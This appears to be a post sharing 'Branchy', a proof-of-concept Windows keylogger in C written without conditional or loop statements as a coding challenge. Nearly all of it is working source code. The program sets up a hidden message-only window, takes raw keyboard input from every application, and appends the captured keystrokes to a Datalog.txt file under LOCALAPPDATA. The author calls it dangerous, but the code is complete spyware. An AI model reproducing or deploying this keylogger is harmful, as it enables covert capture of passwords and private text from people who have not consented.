"Branchy", Branchless keylogger

This code idea (and challenge issued on social media), was inspired by security researcher ModEXP. In summary, this code is a proof-of-concept which shows how to make a functional keylogger (using GetRawInput) without using any IF ELSE statements, or SWITCH statements.. or WHILE/FOR/etc. To be fair, there is 1 GOTO loop though. It was required for the message pump. Doing a recursive message pump is dangerous. Finally, this code is super super dangerous. It probably has bugs, like, a ton of bugs. This thing is an abomination. I don't recommend coding without IF/ELSE statements. It still works though!

#include <Windows.h>
#include <stdio.h>

#define HID_USAGE_PAGE_GENERIC 0x01
#define HID_USAGE_GENERIC_KEYBOARD 0x06

typedef SIZE_T(WINAPI* STRINGLENGTHW)(CONST PWCHAR);
STRINGLENGTHW StringLengthW = NULL;

typedef SIZE_T(WINAPI* STRINGLENGTHA)(CONST PCHAR);
STRINGLENGTHA StringLengthA = NULL;

typedef INT(__cdecl* STRINGFORMATA)(PCHAR Buffer, SIZE_T SizeOfBuffer, CONST CHAR* String, ...);
STRINGFORMATA StringFormatA = NULL;

typedef struct __MESSAGE_HANDLER_STRUCT
{
	HANDLE hHandle;
	RAWINPUTDEVICE RawInputDevice;
	PRAWINPUT Input;
	UINT uSize;
	DWORD ConditionalExpression;
	BYTE Buffer[1028];
}MESSAGE_HANDLER, * PMESSAGE_HANDLER;

typedef LRESULT(*MESSAGE_HANDLE_CALLBACKS)(HWND, UINT, WPARAM, LPARAM, PMESSAGE_HANDLER);

static MESSAGE_HANDLE_CALLBACKS Callback[256];

VOID ZeroMemoryRecursive(PULONG Dest, SIZE_T Count)
{
    Count && (ZeroMemoryRecursive(Dest + 1, Count - 1), *Dest = 0);
}

VOID RecursiveZeroMemoryInvoker(PVOID Destination, SIZE_T Size)
{
    ZeroMemoryRecursive((PULONG)Destination, Size / sizeof(ULONG));
}

PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
{
    *String1 = *String2;

    (*String2 != 0) && StringCopyW(String1 + 1, String2 + 1);

    return String1;
}

PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
{
    StringCopyW(&String[StringLengthW(String)], String2);

    return String;
}

VOID ConditionalNoOperationRoutine(VOID) {}

VOID ConditionalExitRoutine(VOID)
{
    ExitProcess(GetLastError());
}

VOID(*ExpressionHandler[2])() = { ConditionalExitRoutine, ConditionalNoOperationRoutine };


BOOL CallbackKeySingle(UINT Data, PMESSAGE_HANDLER Handler)
{
    BYTE KeyState[256]; RecursiveZeroMemoryInvoker(&KeyState, sizeof(KeyState));
    CHAR WriteBuffer[1028]; RecursiveZeroMemoryInvoker(&WriteBuffer, sizeof(WriteBuffer));
    WORD wKey;
    DWORD dwWritten = 0;

    Handler->ConditionalExpression = GetKeyboardState(KeyState);
    ExpressionHandler[Handler->ConditionalExpression]();

    ToAscii(Data, MapVirtualKey(Data, 0), KeyState, &wKey, 0);

    StringFormatA(WriteBuffer, 1028, "%c", wKey);

    Handler->ConditionalExpression = WriteFile(Handler->hHandle, WriteBuffer, (DWORD)StringLengthA(WriteBuffer), &dwWritten, NULL);
    ExpressionHandler[Handler->ConditionalExpression]();

    return TRUE;
}

BOOL CallbackKeyString(UINT Data, PMESSAGE_HANDLER Handler)
{
    CHAR WriteBuffer[1028]; RecursiveZeroMemoryInvoker(&WriteBuffer, sizeof(WriteBuffer));
    DWORD dwWritten = 0;
    CHAR SpecialCharacter[32]; RecursiveZeroMemoryInvoker(&SpecialCharacter, sizeof(SpecialCharacter));

    Handler->ConditionalExpression = GetKeyNameTextA(MAKELONG(0, MapVirtualKeyW(Data, 0)), SpecialCharacter, 32);
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    StringFormatA(WriteBuffer, 1028, "[%s]", SpecialCharacter);

    Handler->ConditionalExpression = WriteFile(Handler->hHandle, WriteBuffer, (DWORD)StringLengthA(WriteBuffer), &dwWritten, NULL);
    ExpressionHandler[Handler->ConditionalExpression]();

    return TRUE;
}

BOOL CallbackKeyIgnore(UINT Data, PMESSAGE_HANDLER Handler)
{
    return TRUE;
}

BOOL(*KeyHandler[3])(UINT Data, PMESSAGE_HANDLER Handler) = { CallbackKeyIgnore, CallbackKeySingle, CallbackKeyString };

BOOL ProcessKeyStateQueue(PMESSAGE_HANDLER Handler, UINT Key)
{
    BYTE KeyState[256]; RecursiveZeroMemoryInvoker(&KeyState, sizeof(KeyState));
    WORD wKey;

    Handler->ConditionalExpression = GetKeyboardState(KeyState);
    ExpressionHandler[Handler->ConditionalExpression]();

    Handler->ConditionalExpression = ToAscii(Key, MapVirtualKeyW(Key, 0), KeyState, &wKey, 0);
    KeyHandler[Handler->ConditionalExpression](Key, Handler);

    return TRUE;
}

LRESULT WmCreateHandler(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, PMESSAGE_HANDLER Handler)
{
    WCHAR LocalAppDataPath[512]; RecursiveZeroMemoryInvoker(&LocalAppDataPath, sizeof(LocalAppDataPath));

    Handler->RawInputDevice.usUsagePage = HID_USAGE_PAGE_GENERIC;
    Handler->RawInputDevice.usUsage = HID_USAGE_GENERIC_KEYBOARD;
    Handler->RawInputDevice.dwFlags = RIDEV_INPUTSINK;
    Handler->RawInputDevice.hwndTarget = hWnd;

    Handler->ConditionalExpression = RegisterRawInputDevices(&Handler->RawInputDevice, 1, sizeof(RAWINPUTDEVICE));
    ExpressionHandler[Handler->ConditionalExpression]();

    Handler->ConditionalExpression = GetEnvironmentVariableW(L"LOCALAPPDATA", LocalAppDataPath, 512);
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    StringConcatW(LocalAppDataPath, (PWCHAR)L"\\Datalog.txt");

    Handler->hHandle = CreateFileW(LocalAppDataPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    Handler->ConditionalExpression = (DWORD)(DWORD64)Handler->hHandle;
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    Handler->ConditionalExpression = SetFilePointer(Handler->hHandle, 0, NULL, FILE_END);
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    return TRUE;
}

LRESULT WmInputHandler(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, PMESSAGE_HANDLER Handler)
{
    UINT Size = 0;
	
    Handler->ConditionalExpression = GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &Size, sizeof(RAWINPUTHEADER));
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    Handler->ConditionalExpression = GetRawInputData((HRAWINPUT)lParam, RID_INPUT, Handler->Buffer, &Size, sizeof(RAWINPUTHEADER));
    Handler->ConditionalExpression = (Handler->ConditionalExpression > 1);
    ExpressionHandler[Handler->ConditionalExpression]();

    Handler->Input = (PRAWINPUT)Handler->Buffer;

    (Handler->Input->header.dwType == RIM_TYPEKEYBOARD && Handler->Input->data.keyboard.Message == WM_KEYDOWN) &&
        ProcessKeyStateQueue(Handler, Handler->Input->data.keyboard.VKey);

    return 1;
}

LRESULT WmDestroyHandler(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, PMESSAGE_HANDLER Handler)
{
    return 1;
}

LRESULT WmDefaultHandler(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, PMESSAGE_HANDLER Handler)
{
    return DefWindowProcW(hWnd, Msg, wParam, lParam);
}


VOID InitializeCallbackRoutines(MESSAGE_HANDLE_CALLBACKS* Callback, MESSAGE_HANDLE_CALLBACKS Handler, SIZE_T Size)
{
    Size && (*Callback = Handler, InitializeCallbackRoutines(Callback + 1, Handler, Size - 1), 0);
}

LRESULT CALLBACK Wndproc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    static MESSAGE_HANDLER Handler;

    Callback[Msg](hWnd, Msg, wParam, lParam, &Handler);

    return 1;
}

VOID ProcessMessages(VOID)
{
    DWORD ConditionalExpression = ERROR_SUCCESS;
    MSG Msg;
    PROCESS_MESSAGE_ROUTINE:

    ConditionalExpression = GetMessageW(&Msg, NULL, 0, 0);
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

    TranslateMessage(&Msg);
    DispatchMessageW(&Msg);

    goto PROCESS_MESSAGE_ROUTINE;
}

BOOL LoadGlobalFunctions(VOID)
{
    DWORD ConditionalExpression = ERROR_SUCCESS;
    HMODULE Module = NULL;

    Module = GetModuleHandleW(L"ntdll.dll");
    ConditionalExpression = (DWORD)(DWORD_PTR)Module;
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

#pragma warning( push )
#pragma warning( disable : 6387)
    StringLengthW = (STRINGLENGTHW)GetProcAddress(Module, "wcslen");

    ConditionalExpression = (DWORD)(DWORD_PTR)StringLengthW;
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

    StringLengthA = (STRINGLENGTHA)GetProcAddress(Module, "strlen");
    ConditionalExpression = (DWORD)(DWORD_PTR)StringLengthA;
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

    StringFormatA = (STRINGFORMATA)GetProcAddress(Module, "sprintf_s");
    ConditionalExpression = (DWORD)(DWORD_PTR)StringFormatA;
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();
#pragma warning( pop ) 

    return TRUE;
}

INT WINAPI wWinMain(_In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPWSTR lpCmdLine,
    _In_ INT nShowCmd)
{
    DWORD ConditionalExpression = ERROR_SUCCESS;
    HWND WindowHandle = NULL;
    HMODULE Module = NULL;
    WNDCLASSEXW WndClass; RecursiveZeroMemoryInvoker(&WndClass, sizeof(WndClass));

    ConditionalExpression = LoadGlobalFunctions();
    ExpressionHandler[ConditionalExpression]();

    WndClass.cbSize = sizeof(WNDCLASSEXW);
    WndClass.lpfnWndProc = Wndproc;
    WndClass.hInstance = hInstance;
    WndClass.lpszClassName = L"BranchlessCode";

    InitializeCallbackRoutines(Callback, WmDefaultHandler, 256);

    Callback[WM_NCCREATE] = WmCreateHandler;
    Callback[WM_INPUT] = WmInputHandler;
    Callback[WM_DESTROY] = WmDestroyHandler;

    ConditionalExpression = RegisterClassExW(&WndClass);
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

    WindowHandle = CreateWindowExW(0, L"BranchlessCode", NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL);
    ConditionalExpression = (DWORD)(DWORD_PTR)WindowHandle;
    ConditionalExpression = (ConditionalExpression > 1);
    ExpressionHandler[ConditionalExpression]();

    ProcessMessages();

    return ERROR_SUCCESS;
}

Last updated